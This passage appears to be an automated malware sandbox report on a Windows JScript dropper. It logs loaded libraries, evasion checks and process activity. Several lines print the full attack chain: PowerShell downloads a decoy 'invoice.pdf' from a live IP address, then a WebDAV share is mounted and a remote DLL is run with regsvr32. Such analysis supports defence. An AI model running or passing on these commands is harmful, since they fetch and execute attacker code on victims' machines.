Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\5387.js.csv");ITextStream.WriteLine(" entry:8333 f:ocataocj");ITextStream.WriteLine(" exec:2 f:ocataocj");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49711

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4256			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5552			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5004	Thread sleep count: 4256 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5228	Thread sleep count: 5552 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3796	Thread sleep time: -12912720851596678s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1764	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6940	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4340	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 3088	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 3352	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000007.00000003.2185565863.000002C650141000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2191005088.000002C650141000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3412119271.000001B543654000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3409046499.000001B53E02B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000002.2190435604.000002C6500D8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWg

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27640288282164.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27640288282164.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27640288282164.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27640288282164.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
